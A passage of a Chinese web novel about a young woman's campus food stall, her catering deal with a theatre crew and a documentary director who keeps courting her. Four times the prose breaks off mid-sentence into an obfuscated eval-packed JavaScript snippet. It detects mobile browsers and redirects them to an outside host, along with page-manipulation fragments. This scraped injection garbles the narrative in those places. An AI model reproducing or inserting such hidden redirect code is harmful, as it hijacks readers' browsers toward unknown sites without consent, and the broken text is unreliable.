王导：回忆的味道 还有技术流派—— 小赵：想学卤肉饭的做法了 夏璐几乎没有说话，在几双筷子从自己的盒饭里拿开的瞬间，她立刻猛猛干饭。 毕竟…… 再不抓紧一点，她恐怕一口都吃不上了！ “小夏，你这个邻居是做什么的？手艺这么好？” 听见王导的问题，夏璐目光闪烁了一下，隐瞒了言初莘退圈的身份：“她现在主要是在摆摊，但是手艺确实非常好。” “摆摊啊……”王导摸了摸下巴，脑子里冒出一个想法，“你觉得，她会愿意接剧场盒饭的单子吗？按照目前采购盒饭的价格，如果她有兴趣，可以先签个临时采购合同，尝试一段时间。后面签正式采购合同。” 夏璐微微瞪大眼睛，意识到这里是个机会。 虽然她不直接负责采购对接，但是剧场里每天演员加上工作人员，怎么也是大几十号人，是一笔稳定的收入来源。 但是想到言初莘退圈的事情，夏璐不确定，她是否还愿意和这个圈子扯上关系，还是以这样的形式。 “我回去问问我邻居。”夏璐没有替言初莘答应，而是留下了商讨的空间。 *** 另一边，言初莘还没有料到即将“天降大单”。 她这次买的卤肉特别多，远不止够夏璐的盒饭。 最近，每天摆摊的时候，到了快结束的时候，都会有人和言初莘抱怨，可惜没排到吃的。 虽然当时当刻，言初莘笑着表示自己需要“8小时工作制”，但是回来之后，想到那一双双渴望的眼睛，言初莘也在想要怎么办。 卤肉饭就是言初莘想出的一个办法。 昨天晚上言初莘刷视频的时候，不止刷到了卤肉饭，还有北方的盒饭。退出视频界面后，言初莘就打开外卖软件搜了一下，发现临城大学附近的盒饭，基本都要20块钱以上，而且点开消费者返图，盒饭用的那些肉明显都不新鲜了，让言初莘看得直皱眉头。 可能因为某种奇妙的缘分，言初莘穿越前后的年龄都是25岁，导致她看着临城大学这一群还没出社会的大学生们，都像是在看自己的弟弟妹妹。 导致在看见这些粗制滥造的黑心外卖之后，言初莘内心涌起了一种微妙的不爽感，就像是看见自己的弟弟妹妹被欺负了一样。 这种微妙的心情，言初莘没有和任何人说，只是在琢磨了一晚上之后，做出了30份卤肉饭。 如果验证下来可行，之后她还可以尝试做其她口味的盒饭。 *** 自从有了杨教授的许可，每天傍晚，井晴都会提前来到学校的小北门附近，等待言初莘出摊。 靠近傍晚6点，小北门附近已经慢慢地热闹起来，但不少人都望着远处。 当熟悉的靛蓝色小车出现的时候，井晴眼睛一亮，下意识喊了出来：“来了来了！老板来了！” 言初莘停下小车，开始正式摆摊的时候，井晴已经冲到了队伍的最前面，也看到了那块牌子。 今天，牌子上加了一条新的—— 今日限定：卤肉饭，限量30份 井晴原本想要照例点一份红油抄手，但是目光却被这块牌子吸引了。 “老板，怎么想到卖卤肉饭了？而且限量30份？” “今天买到了成色好的新鲜五花肉，就做了试一试。”言初莘笑了笑，“一份10块，分量够你吃饱的。” “那给我来一份卤肉饭，再打包5份红油抄手，6份炒饭！” 言初莘从保温桶里盛出一碗米饭，又从旁边的小锅里舀出一勺满满当当的卤肉，浇在米饭上，酱色的卤汁立刻就顺着米饭流了下去。 酱色的卤肉泛着油光，肥瘦相间，呈现出漂亮的纹理和色泽，像是裹着一层晶莹的蜜汁。米饭被卤汁浸透，泛着琥珀色的光泽，格外诱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543438|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 井晴接过碗，一股浓郁的香气直冲鼻腔，让她忍不住咽了咽口水。 她赶紧找了个空位坐下，迫不及待地夹起一块送进嘴里。 她猛地瞪大眼睛，嘴里像是炸开了一颗味觉炸弹。 肥肉入口即化，瘦肉软烂却不失嚼劲，卤汁的咸香里带着若有若无的香料味，越嚼越香。米饭吸饱了卤汁，每一粒都裹着浓郁的肉香，一口下去，整个人像是被一股暖流击中，饿了一下午的胃瞬间被治愈。 “这也太好吃了吧！”她忍不住又扒了一大口，左手对着言初莘竖起大拇指，“老板，你的手艺是这个！” 旁边的同学看她吃得这么香，纷纷凑过来：“真有这么好吃？” 也有聪明人，已经冲到了小吃摊前：“老板，我也来一份卤肉饭！” 井晴顾不上回答，埋头猛吃，直到碗底干干净净，连最后一粒沾着卤汁的米饭都没放过。她意犹未尽地舔了舔嘴唇，抬头看向言初莘：“老板，你这卤肉饭明天还有吗？” 听见井晴这句话，不少刚才还在埋头干饭的食客们，也暗戳戳地竖起了耳朵，用期待的目光看向言初莘。 言初莘也没有想到，她新准备的卤肉饭居然这么受欢迎，居然这么快就已经销售一空了。 面对这么多期待的眼神，言初莘没有一口回绝，但也诚实地说出自己面临的问题：“我只有一个人，要负责摆摊所有的准备。如果同时卖很多样东西，做法都不一样，我一个人大概率会忙不过来。” “也对哦……”井晴回想起自己爱吃的卤肉饭，师姐爱吃的炒饭，杨教授爱吃的红油抄手，也忍不住纠结地皱起了眉头。 一旁，有听到这段对话的食客灵机一动：“这还不简单。不然就发个投票吧！” “投票？”言初莘对于这个答案有些意外。 “哦对！”井晴一拍脑袋，想起了小吃摊在校内论坛的热度，“直接让喜欢小吃摊的大家来投票，选他们更喜欢哪一种，然后投票高的留下，投票低的暂时先不卖了就行啊！” 言初莘有些心动，不过也有新的问题：“可是……怎么让大家投票呢？” “这还不简单。”井晴拍拍胸脯，豪气万丈，“如果老板你放心，我来帮你发，明天把统计结果告诉你！” “这怎么好意思呢？” 井晴舔了舔嘴唇，搓搓手：“也没啥，就是……老板我帮你发投票，你明天能帮我提前留一份红油抄手和一份卤肉饭吗？” 面对这个意料之外的要求，言初莘在微微惊讶后，爽快地答应了下来：“没问题。” 当天晚上，井晴就在校内论坛里发起了投票贴—— {（代小北门小吃摊老板发帖）炒一切VS红油抄手VS每日特色盒饭：第一轮大PK} {胜利者将会在下一周的小吃摊上出现，失败者将会暂时离开小吃摊} {投票截止时间：明天傍晚6点} 此刻，所有人都还不知道，这个帖子即将拉开一项从临城大学不断外扩的特殊活动—— 小吃摊美食101！ 12. 012 “北门小吃摊”美食101 “北门小吃摊”是临城大学的热门话题，当看到这个新贴的时候，不少正在冲浪的大学生们第一时间就点了进来。 最开始，不少人都还以为这是在整活。 {1楼（锅铲战神）： ？？？现在关于小吃摊的整活已经进化到这一步了吗？} {2楼（不过六级不改名）： 这前面居然还写了一个“代小北门小吃摊老板发帖”，快要以假乱真，我都快要信了} 正在不少人开玩笑的时候，楼主下场回复。 {3楼（苦逼实验室打工人）： 不是整活！不是开玩笑！是真的替老板发帖搜集投票！今天问了老板，她只有一个人准备小吃摊的一切，所以想问下大家，更喜欢哪种吃的。投票低的下周真的会从菜单消失！} {4楼（苦逼实验室打工人）： 如果还有不相信的，不参与投票，下周你们喜欢吃的从小吃摊撤走可别后悔！} 紧接着，又有当时在现场围观的其他人出来证明，楼主说的是真的。 随着出来替楼主证明的人越来越多，论坛里的人才逐渐相信了这件事的真实性。 如果自己喜欢的小吃投票低，从小吃摊上撤走…… “嘶——” 想到这种恐怖的可能性，胃口已经被小吃摊养刁了的食客们，都不由地倒吸了一口冷气。 这种事情可千万不要啊！ 很快，就有人灵机一动，开始在论坛里开始拉票了。 小吃摊最早开始卖的就是炒饭这些，对于炒饭炒面有情怀的食客们自动聚集在一起，号称“万物皆可炒派”。 {15楼（碳水炸弹）： “炒一切”才是永远的王道！难道大家都忘记了初心吗？难道大家都忘记了那一碗炒饭的魅力吗？如果你也喜欢炒一切，就请给炒一切投票吧！} {16楼（随机饿魔）： 炒一切不是简单的食物，是信仰！是自由！是最初梦开始的地方！如果没有了“炒一切”，我不敢想象我会是个多么emo的小男孩TAT） “红油抄手”虽然出现的时间不长，但是喜欢吃辣的学生们，尤其是临城大学的川蜀学生，对“红油抄手”可是爱得深沉。 {56楼（无辣不欢）： “炒一切”已经是昨日黄花，“红油抄手”才是新晋流量！老板做的红油抄手简直是神的馈赠！每一个爱辣新人都应该给“红油抄手”投票！} “随机盒饭”出现的时间最短，只有今天限量售卖30份，原本应该是最弱势的一派。 可是这一切，在有人发出一个卤肉饭的特写视频之后，发生了逆转！ 看着视频里，纹理分明的五花肉，浸透了汤汁，将米饭也变成了酱色。在昏暗的灯光下，卤肉饭也仿佛隔空散发着无尽的香气。 一时间，正在刷论坛的所有人，都不由地咽了咽口水。 而视频发布者更是轻描淡写地发出绝杀—— {89楼（干饭人干饭魂）： 如果投票给“炒一切”，你能吃到炒饭/炒面/炒粉/炒河粉；如果投票给“红油抄手”，你能吃到红油抄手。 但如果投票给“每日特色盒饭”，你将拥有无限的可能性！ 有人喜欢吃红烧肉吗？有人喜欢吃酸辣土豆丝吗？有人喜欢吃小炒肉吗？选择“每日特色盒饭”，这一切都将近在眼前！} 发出这个视频后，看着“每日特色盒饭”一路上涨的票数，万朴桃轻轻一笑，深藏功与名。 原本觉得“红油抄手”和“炒一切”已经稳了的食客们，看见票数的变化，也变得慌张了起来。 甚至有人想出了馊主意，有“红油抄手”派的计算机系学生，想要写一个作弊投票脚本。 只是他还没有成功执行，就被同寝室的“炒一切”派的室友给举报了。 一时间，让井晴不得不下场发了一条声明，明确表示—— 拒绝一切作弊手段！保证投票公平公正公开！ 在这样热火朝天的氛围中，有人看的有趣，把这个临城大学“炒一切VS红油抄手VS每日特色盒饭”的Battle帖，搬运到了其他平台，很快就引起了热议，甚至还登上了同城热搜。 【（懵逼.jpg）是我看不懂这个世界了吗？】 【666，果然还是大学生们会玩儿！居然还给小吃摊搞出了投票！（捧腹大笑.jpg）】 【我忽然有点好奇，这个小吃摊到底有多好吃了。可惜我不是临城人，不然真的可以找机会去一趟】 【这不就是个校内投票吗？怎么还有人想要做投票作弊小程序啊！恐怖如斯！（抱头.jpg）】 【我赌五毛钱，最后赢家是——我也不知道，我就是随意瞎猜的（狗头.jpg）】 *** 黑暗的房间里，只有手机的亮光。 在这昏暗的空间里，传出一声“咦”。 陈默，美食纪录片导演。 1年前，他的《早安人间》将镜头对准了早餐店，引起了不少关注，更是在评分网站上拿下了9.0的高分。 现在，他正在筹备新项目《市井烟火》，想找一些真正有故事的路边摊。只是他之前已经去线下踩点过很多小吃摊，但要么是太网红，要么是过于同质化，都不符合他想要的效果。 因为这件事，陈默已经苦恼了很久，也正因为如此，迟迟没有正式开拍。 今天半夜，他在网上冲浪时，偶然刷到了一个帖子—— 《炒一切VS红油抄手VS每日特色盒饭：第一轮大PK！》 一看到这个标题，就让陈默提起了兴趣。 作为行内人，他一眼就能够看出，这些并不是MCN机构的炒作，而是自来水。 等顺着这些帖子找到最初的校内论坛贴的时候，看着贴子里，学生们为了不同的小吃吵得热火朝天，甚至还有人为了留下自己心爱的小吃，想要开发一个小程序来刷票。 陈默越看越惊喜，对这个小吃摊也涌起了无限的好奇。 这不就是他一直在找的东西吗？ 不是那种精致摆盘的网红店，而是真正扎根在校园边上的、带着烟火气和江湖味的小摊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543439|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈默的眼里闪过好奇。 看来，他需要去这个小吃摊走一趟了。 *** 网络上的风起云涌还没有打扰到言初莘的日常生活，她也还不知道，一个简简单单的投票，究竟掀起了多大的风浪。 她现在面临着一个新的机会—— “剧场盒饭？” 听见夏璐带回来这个消息，言初莘眼里闪过一丝迷茫：“具体是要准备什么？” 夏璐在和言初莘说之前，已经主动向采购询问过相关事宜，如今和言初莘仔细解释起来：“就是给剧场工作人员准备午饭，一共50份，每份预算25块。要求也比较简单，3菜一饭的主食，用一次性饭盒装好就可以。分量足、能吃饱就行。” “菜色不用多复杂，”夏璐想起之前在剧场里吃到的盒饭，表情奇怪，“我觉得你用脚炒都会比之前的盒饭好吃。” 言初莘没有立刻回答，而是用勺子搅了搅锅里的卤汁，有些纠结。 50份不是个小数目，光是备菜就是个大工程。而且如果真的接下这个活儿，言初莘出于本心，不会同意自己糊弄这份工作，自然每天都要思考准备什么菜。 但是这也有好处，25块一份，比她卖盒饭的价格高，最重要的是，这是不占用她摆摊时间的固定收入。 夏璐观察着言初莘的神色，也看出她有所顾虑：“我和采购商量了，可以先尝试一周，如果觉得合适，可以正式签合同。如果觉得不合适，也可以就做这一周，然后停了。” “那就先试一周吧。” “那太好了！”夏璐眼睛一亮，“那我去回复采购！” 夏璐兴冲冲地跑出去打了个电话，回来之后，眼神却带着一些飘忽，想到要和言初莘说的坏消息：“采购说，能不能明天就开始送？” “明天？”言初莘手里的动作一顿。 “对，明天中午11点前送到剧场。”夏璐也有些愧疚，她没想到会这么着急。 言初莘深呼吸一口气，她快速在手机上列出明天的菜单，拿给夏璐看：“你看第一天这个菜单可以吗？” 夏璐凑过去一看—— 主菜：卤肉 配菜：酸辣土豆丝+清炒时蔬 夏璐眼睛一亮，对着言初莘竖起大拇指：“我觉得完全没问题！” 言初莘把纸条贴在墙上，突然想到什么："对了，他们拍摄地在哪儿？" “就在老城区的影视基地，开车20分钟。”这些夏璐早就想到，把从采购哪里打听到的系数告知，“他们可以找人来取，但是如果直接送过去，每份盒饭加2块钱。” 言初莘拿出手机，查了下打车的路费，立刻做出了选择：“我自己送。” 盒饭最重要的是温度，万一路上耽搁了，饭菜凉了，味道就差了。 她希望能够给每一位食客最新鲜、最好吃的。 “那我把菜单给采购！”夏璐忍不住露出笑容。 虽然是新的挑战，但也是新的机会。 言初莘勾起嘴角。 可是，她最不怕的就是挑战。 13. 013 风吹过，带来槐花的甜香。 当第一缕阳光爬上灶台时，言初莘已经站在了灶台旁边。深褐色的卤汁在铁锅里翻滚，五花肉在秘制卤汁中渐渐染上琥珀色，肥肉变得晶莹剔透，用筷子一戳就陷下去。 夏璐闻着味道，从隔壁的阳台里探出头来。一大清早就忍不住咽了咽口水：“好香啊……” “早上我准备做卤肉面，要尝尝吗？” 听见言初莘这句话，夏璐迫不及待地点点头：“要！” 不到1分钟，言初莘的房门就被敲响，夏璐已经闪现到门口。 卤肉面，各地都有，也不存在官方的做法。 想要做出一碗好吃的卤肉面，核心还是两点—— 汤，浇头 做了这么一大锅卤肉，里面的汤汁自然不能够浪费了。 卤汁用热水微微稀释，就成了这一碗卤肉面的汤底。沸水中落入手工面，面条在水中轻盈地散开，煮到刚好熟的时刻取出，在冷水里过一趟，再落入汤底中，能保证面条劲道的口感。 夹出一块卤肉放在砧板上，言初莘用刀身斜着往前推，炖得酥烂的肉块在刀下乖巧地分开，绽开的肉块露出分明的纹理。 滚烫的面条遇上卤汁，立刻发出"滋滋"的声响，最后再加上一把翠绿的小葱花。 这一碗卤肉面放到桌上的时候，夏璐迫不及待地拿起了筷子，夹起一筷面条，简单吹了几下，就迫不及待地塞到了嘴里。 “嘶——好烫。” 看着夏璐的反应，言初莘忍不住一笑：“慢点，又没有人跟你抢。” 看到自己的手艺获得喜欢，是言初莘最开心的事情。 夏璐咬住面条的时候，就意识到了不同。嘴里的面条格外劲道，明明她也买过类似的手工面，但是吃起来就不是这个口感。 每一根面条都带着卤汁，再加上一快卤肉，一起放入嘴中，卤肉的香气与面条的醇厚在舌尖交融，呈现出一种绝妙的平衡。 不知不觉，夏璐把一大碗卤肉面吃得干干净净，甚至连汤底都差不多喝光了。 吃完早饭，夏璐主动接过了洗碗的活儿，言初莘则拿出了今早从菜市场买到的新鲜黄心土豆和空心菜，开始准备剧场的盒饭。 今天早上选土豆的时候，言初莘特意挑了品相好的黄心土豆，炒好后会带着微微的淀粉甜，口感更好。 言初莘用左手指弓按住土豆，右手拿着菜刀，随着“哒哒哒”的声音响起，她的手带着刀，在空中几乎化成了残影。一阵“哒哒哒”结束，土豆变成了土豆片，再是一阵声响，土豆就已经变成了纤细的土豆丝，每一根土豆丝都纤细到可以穿过针眼。 她将切好的浸入掺了米醋的冷水，这样可以持续保持土豆丝的脆爽。 空心菜的处理方式比较简单，只是需要花点时间，每一根空心菜都要剥去老梗，露出翡翠色的嫩茎，然后再大刀切开。这样才能让炒出来的空心菜不老好嚼。 将菜处理好后，言初莘起锅热油，先做空心菜。 猪油热到锅里冒烟，菜叶快速下锅翻炒，加入调料和蒜末，猛火快炒，迅速出锅。碧绿的菜叶上油光水亮。 接着用滚烫的热油爆香干辣椒，当空气中弥漫着干辣椒的味道，放入土豆丝。 土豆丝进入锅里，发出“呲啦”的声响，言初莘手腕微微一抖，白醋沿着铁锅的边缘淋入锅中，酸和辣的味道瞬间交织在一起，随着滚烫的白烟升腾而起，传遍了整个空间。 五十个保温饭盒整整齐齐排列在一起。 最大的格子里装着米饭，米饭上还浇了一勺卤汁，将米饭都浸透了卤汁的味道；第二大的格子里装着切成片的卤肉，塞得满满当当。 左右两侧的中等大小的格子，左边盛着酸辣土豆丝，右边则是翠绿的蒜泥空心菜。 临近9点半的时候，言初莘才把50个盒饭全部都装好，并且放在了泡沫的保温箱里面，装了满满的两大箱。 言初莘和夏璐一人抬起一大箱子—— “出发！” *** 言初莘戴着口罩，和夏璐一起走进剧场，在门口遇见了交接的采购小张。 小张引着两人把泡沫箱放在了小推车上，在清点过盒饭的数量正好之后，便现场给言初莘结了款项。 “50个盒饭，每个25元，加上是你直接送来的，每个盒饭加2元，一共是1350元。已经给你转过去了。” 言初莘很快收到了收款提示。 “收到了。” 收完款后，言初莘就和夏璐以及采购小张告别，离开了剧场。 夏璐回到了剧场片场，而采购小张则在中午饭点的时候，准时推着一车的盒饭出现在了剧场里—— “开饭啦！” 当采购小张掀开第一个保温箱时，卤香的味道朝着旁边逸散开来，横扫了整个摄影棚。 灯光师小赵猛地转过头，鼻子像猎犬一般，猛地抽动了几下：“卧槽！什么味道！这么香！” 导演王利刚才还皱着眉头，看向舞台，闻到这味道的时候，紧皱的眉眼微微舒展开：“先吃饭吧。” 扔下这句话后，王导就带头冲向了保温箱的方向。 不多时，每个人都拿到了自己的那一份盒饭。打开盒饭的瞬间，王导立刻眉开眼笑。 昨天那么多人抢一份盒饭，他只抢到了一块卤肉。 说来也奇怪，他明明吃过的美食也不少，但偏偏就是那块卤肉，才吃过一次，就让他忍不住惦记上了。直到昨天半夜躺在床上，还在回想着那块卤肉的味道。 王导用筷子尖轻轻戳开卤肉，琥珀色的肉皮像布丁般晃动。当第一块肥瘦相间的肉送入嘴里，他的瞳孔骤然放大——肥肉化作鲜甜的汁水，瘦肉纤维在齿间分离成无数鲜香的丝缕，卤汁的复合香味从鼻腔直冲脑门。 化妆师林姐原本不爱吃酸辣土豆丝，因为曾经吃到过太酸的。这次看见盒饭里有酸辣土豆丝，她原本下意识皱起了眉头，但还是试探性地夹了一筷。 脆爽的口感伴随着酸辣的调味在口腔炸开，打破了她曾经对酸辣土豆丝这道菜的阴影。 好吃！ 这简直是她吃过的最好吃的酸辣土豆丝。 作为演员，原本有身材管理的要求。所以作为主要演员之一的张青青原本只准备吃点里面的蔬菜。 但是当空心菜入口的时候，她还是忍不住瞪大了眼睛。 蒜香和猪油的香气包裹着嫩叶，不管是嫩叶还是茎，都带着恰到好处的脆感，又不会难嚼，甚至一口咬开，还能够感受到清甜的汁液流出。 不知不觉间，这一份盒饭就已经吃完了大半。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543440|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张青青摸着自己圆滚滚的肚子，下定决心，晚上一定要去运动了。 不过…… 张青青舔了舔嘴唇。 真好吃啊。 如果每天盒饭都这么好吃，让她每天多运动一个小时，都值了！ 她正准备去扔盒饭的时候，才摸到底部的手感似乎有些不对劲，她探头朝着盒饭底部看去，才发现底部贴了一张便利贴，上面是手写的“辛苦啦”。 字迹龙飞凤舞，颇有韵味，旁边还画着一个简笔的笑脸。 看着这个笑脸，张青青觉得自己这一天的疲惫，都消散了大半。 “如果明天也能吃到这家盒饭就好了……” 只是一顿，言初莘的盒饭就已经俘获了剧场所有人的胃口。 *** 没有人注意到，那个戴着鸭舌帽、背着相机包的男人已经在临大小北门徘徊了三天。 他站在小吃摊对面的奶茶店门口，假装刷手机，目光却始终锁定在那口冒着热气的大铁锅上。偶尔，他会举起手机，装作自拍，实则镜头对准的，是老板言初莘行云流水般的颠勺动作。 第一天，他混在学生队伍里，点了一份红油抄手。当那碗红油鲜亮、香气扑鼻的抄手端上来时，他挑了挑眉——这卖相，确实不一般。 第一口下去，他的眼里滑过一丝怀念。 不是被辣的，而是突然想起自己大学时校门口的那家小摊，老板是一位地地道道的川妹子，卖的就是红油抄手。 毕业多年，他再也没吃过那种味道。 第二天，陈默尝试了“炒一切”，点了一份最经典的蛋炒饭。 第三天，他点了一份盒饭，开出了是糖醋排骨+虎皮青椒的盲盒，排骨炖得酥烂，酱汁浓郁，青椒脆嫩，底下还藏了半颗卤蛋。 这3天里，陈默每天都坐在小摊旁，一边吃，一边用余光打量着言初莘—— 这个手臂纤细，看起来很文静的年轻女生，动作麻利得像台精密机器。 刚才他在旁边，看着言初莘连续炒了好几份，但几乎每一份放调料的量和顺序，都是一模一样的，控制得尤其精准。 而在做出如此精准动作的时候，她又能够和顾客时不时地闲聊几句，还能认出熟客的脸，并且记住熟客的喜好。 整个人的状态，比陈默见过的不少星级酒店大厨还要更加游刃有余。 可是，星级酒店的大厨，那可是锻炼了多少年，才能够练到这种程度。而言初莘，即便戴着口罩，也能够从眉眼间察觉到，对方绝对是年轻女生，最多20多岁。 年轻的年龄，老道的厨艺。 这两者的反差，让陈默对言初莘产生了更多的好奇，也更加想要将言初莘拍摄进自己的纪录片中。 陈默蹲守了整整3天后，在第4天，他等到言初莘卖完收摊后，主动走到了言初莘面前，郑重地递出了自己的名片：“你好，我是一位纪录片导演，正在筹备一部美食纪录片。我想要拍你的小吃摊，请问你……” “不好意思。”言初莘礼貌地笑笑，“我拒绝。” 说完，言初莘带着小吃摊转头就离开，甚至没有接过陈默手里的名片。 一阵冷风吹过，让呆愣在原地的陈默瞬间清醒，他立刻冲着言初莘的背影大喊了一句—— “我一定不会放弃的！” 14. 014 陈默说到做到，第4天，言初莘带着小车来的时候，陈默已经蹲守在了小北门口。 言初莘看向陈默，开口就是拒绝：“我不拍纪录片。” “哎，老板，我们今天不谈纪录片的事情，我就是作为食客，来吃个饭的。”陈默笑眯眯的，仿佛昨天提出拍摄纪录片邀请的根本不是他一样，“这你总不能拒绝吧？” “……”言初莘沉默片刻，面对食客，即便是特别且死皮赖脸的食客，言初莘也只能退让一步。但她还是和陈默再次提醒，“只吃饭，不拍纪录片。” 陈默笑得像只狐狸。 “老板，我要一份盒饭。” 说完，陈默余光瞥见言初莘招牌上新增的内容。 “今天有限定的小甜水？三豆汤？那我也要来一份。” 看见陈默确实没有再提拍摄纪录片的事情，言初莘的语气也松了不少，只当陈默是一位普通的食客：“今天的菜谱是芹菜炒牛肉、油焖茭白和凉拌苋菜，这里面有你忌口的吗？” 见陈默摇头，言初莘才把盒饭递给他。 “盒饭10元，三豆汤5元，一共收你15元。” 陈默拿着盒饭坐到旁边的座位上，排在他后面的井晴这才收回了打量的眼神，走上前来。 她斜眼看着桃花眼，笑得像只狐狸的男人，忍不住偏头悄悄问言初莘：“老板，那人是跟你有什么过节吗？我看他前几天就鬼鬼祟祟的，也不是学校里的人，每天就拿着个相机不知道在拍什么。” 如果不是担心影响老板的生意，井晴都差点报警了。 看见井晴眼底的担忧神色，言初莘轻笑一声：“没事，没仇没怨，就是有点烦人而已。” 井晴点点头，看向陈默的眼神却依然有些怀疑。 作为纪录片导演，陈默对视线是很敏锐的，注意到有人看自己的第一时间，他就留意到了井晴，他抬头对上对方警惕的眼神，心里一时觉得有趣，对着她挑了下眉头。 这一个动作后，看着井晴立刻脸色大变，转过头去的模样，陈默忍不住笑出了声。 井晴如临大敌，对着言初莘认真又紧张地开口：“老板，我还是觉得他不是个好人！” 顿了顿，井晴悄悄和言初莘说：“如果哪天老板你需要报警，记得跟我说。” 言初莘瞥了眼被当成坏人的陈默，轻笑：“好啊，有需要我一定跟你说。” 收到言初莘的回复，井晴才放下心来，只是一直时不时朝着陈默投去警惕的目光。 陈默却没有继续在意井晴的目光，而是将目光落在了面前的盒饭上。 芹菜炒牛肉、油焖茭白，凉拌苋菜。 三道都是经典的家常菜。 越是家常，越是考验厨师功底。 “这切芹菜的刀工，很讲究啊。”陈默用筷子夹起芹菜段，放在灯的光线下仔细观察：“斜切45度角，断面最大，也最入味。” “牛肉……”陈默夹起一片牛肉放入嘴中，咀嚼了两下，他忽然闭眼。喉结滚动三下才重新开口，“黄酒腌的，至少两小时。火候……六成油温滑炒，锅气足。” 言初莘听到这里，忍不住纠正陈默的话语：“七成油温。” “用的不是不锈钢锅吧？” “生铁锅。” 陈默接着吃凉拌苋菜和油焖茭白的时候，也一直在尝试和言初莘搭话。 基础方案就是，先抛出一个和下厨有关的问题，然后等待言初莘的回答。 “凉拌苋菜用的是大豆油？” “芝麻油。” “油焖茭白里面的甜味有些特殊，不像是用糖提的，是加了蜂蜜？” “槐花蜜。” 几次循环往复，陈默似乎是发觉了和言初莘对话的诀窍，忍不住有些得意地笑了起来：“老板，你真的很适合参与纪录片拍摄。” 话题度和专业性双重拉满，简直是陈默筹备的纪录片的不二人选！ 刚好炒出一份饭的言初莘忽然主动开口：“这一份盒饭好吃吗？” “好吃。当然好吃。”陈默笑了，此时他还没有意识到接下来会发生什么。 言初莘凉凉地瞥了他一眼：“好吃都堵不住你的嘴？” 陈默愣住。 从这时候开始，不管陈默怎么开口，言初莘始终将他当成空气，就仿佛根本不存在他这个人一样。 陈默来小吃摊。 可以，生意正常做，价格都标在旁边，自己付钱就好。 陈默想要邀请她拍摄纪录片？ 不好意思。听不见。 *** 陈默这样坚持了足足半个月，言初莘还是没有半点松口的意思。 在之前的经历中，陈默从来没有遇到过这么难磨的拍摄对象，这让陈默不由地有些气馁。 心情郁闷下，他找到自己的研究生同学，同样在做导演的王利聊天。 人未到，声音先到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543441|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “听说你最近跟一个小吃摊的摊主纠缠上了？”王利的声音里充满了幸灾乐祸，他一屁股坐在陈默面前的位置上，眼里满是看好戏的意味，“还有你搞不定的人？” 陈默叹了一口气：“说来话长。” “我之前看到网上的帖子，有个小吃摊摊主，特别符合我想要拍摄的纪录片主题，我就去蹲人了……” “结果，这都半个月了……愣是一点没松口。” 王利忍不住大笑起来，只是笑完之后，看着陈默一言不发，只是一味地喝酒，良心还是重新占领了高地。 “是老师傅吗？老师傅难搞也正常，人家要坚守自己的手艺和传统。” “才不是老师傅，虽然厨艺和老师傅有的一拼，但是是个年轻女生。”陈默顿了顿，“虽然一直戴着口罩，但应该也就是20岁多吧。” “噗。你现在居然搞不定小女生了？”王利忍不住乐了，调侃道，“看来也不是所有人都吃你的脸啊。” 陈默翻了个白眼：“我本来就是靠实力的好不好？” “行行行，知道了，我们的最佳纪录片导演。”王利笑完后，才开始好奇，“看你这样子，那个小吃摊在临城吧？” “对，就在临城大学小北门旁边。” 听见这话，王利却愣了，脑海里忽然浮现出一个身影，喃喃道：“不会吧……” “怎么？”陈默敏锐地捕捉到他话语中的不确定。 “我们剧场之前的盒饭不是特别难吃吗？然后就换了新的供应商，就是个小吃摊的摊主，采购跟我说，应该也是年轻的女孩子，在临城大学附近摆摊……” 一时间，陈默和王利面面相觑。 陈默连筷子都放下了，急切地问道：“你们剧组昨天中午的盒饭是是什么？” 王利一脸懵逼地开口：“梅干菜扣肉、西红柿炒鸡蛋、青椒炒笋干。” 对上了！ 全部都对上了！ 一瞬间，陈默望着王利的眼睛仿佛都在发光。 整整经历了大半个月碰壁的他，在这一刻仿佛看见了一道希望的曙光。 “哥！你是我亲哥！” 王利忍不住往后仰：“你这样……我有点害怕啊。就算你喊我爸爸也不行……” 下一刻，陈默脱口而出—— “爸！” “卧槽！” 王利下意识满嘴留香。 你还真喊啊！ 15. 015（含入V公告） “别闹了，说正经的。” 